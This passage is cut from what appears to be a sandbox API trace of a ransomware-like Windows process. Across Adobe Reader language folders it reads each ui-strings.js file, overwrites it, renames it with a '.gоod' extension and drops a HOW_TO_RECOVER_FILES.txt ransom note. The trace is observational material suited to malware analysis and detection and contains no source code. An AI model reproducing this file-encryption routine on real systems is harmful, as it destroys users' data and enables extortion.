ftLastWriteTime.dwLowDateTime=0x90af9bf6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0249.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0249.089] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\ui-strings.js.gоod")) returned 1 [0249.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0249.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0249.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ar-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0249.091] GetFileType (hFile=0x8a4) returned 0x1 [0249.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0249.091] GetFileType (hFile=0x8a4) returned 0x1 [0249.092] WriteFile (in: hFile=0x8a4, lpBuffer=0x38baeb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x38baeb8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0249.092] CloseHandle (hObject=0x8a4) returned 1 [0249.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0249.093] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es", lpFilePart=0x0) returned 0x77 [0249.093] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0249.094] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.094] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.094] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0249.095] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0249.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0249.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0249.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0249.095] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es", lpFilePart=0x0) returned 0x77 [0249.095] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0249.095] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.096] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.096] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.096] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0249.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0249.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0249.096] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0249.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0249.096] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38cad90 | out: lpFileInformation=0x38cad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x579)) returned 1 [0249.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0249.097] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0249.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0249.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0249.097] GetFileType (hFile=0x8a4) returned 0x1 [0249.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0249.097] GetFileType (hFile=0x8a4) returned 0x1 [0249.097] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x579 [0249.097] ReadFile (in: hFile=0x8a4, lpBuffer=0x38cb6b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x38cb6b8*, lpNumberOfBytesRead=0x202ec278*=0x579, lpOverlapped=0x0) returned 1 [0249.099] CloseHandle (hObject=0x8a4) returned 1 [0249.825] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0249.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0249.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0249.826] GetFileType (hFile=0x89c) returned 0x1 [0249.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0249.826] GetFileType (hFile=0x89c) returned 0x1 [0249.826] WriteFile (in: hFile=0x89c, lpBuffer=0x3963640*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3963640*, lpNumberOfBytesWritten=0x202ec188*=0x580, lpOverlapped=0x0) returned 1 [0249.826] CloseHandle (hObject=0x89c) returned 1 [0249.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0249.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0249.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0249.826] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x911e9550, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x580)) returned 1 [0249.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0249.827] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\ui-strings.js.gоod")) returned 1 [0249.828] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0249.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0249.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ca-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0249.829] GetFileType (hFile=0x89c) returned 0x1 [0249.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0249.829] GetFileType (hFile=0x89c) returned 0x1 [0249.830] WriteFile (in: hFile=0x89c, lpBuffer=0x3966f50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3966f50*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0249.830] CloseHandle (hObject=0x89c) returned 1 [0249.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0249.830] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz", lpFilePart=0x0) returned 0x77 [0249.831] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0249.831] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.831] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.831] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0249.831] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0249.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0249.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0249.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0249.832] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz", lpFilePart=0x0) returned 0x77 [0249.832] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0249.832] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.832] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.832] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.832] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0249.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0249.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0249.833] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0249.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0249.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3976e28 | out: lpFileInformation=0x3976e28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a)) returned 1 [0249.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0249.833] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0249.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0249.833] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0249.833] GetFileType (hFile=0x89c) returned 0x1 [0249.833] 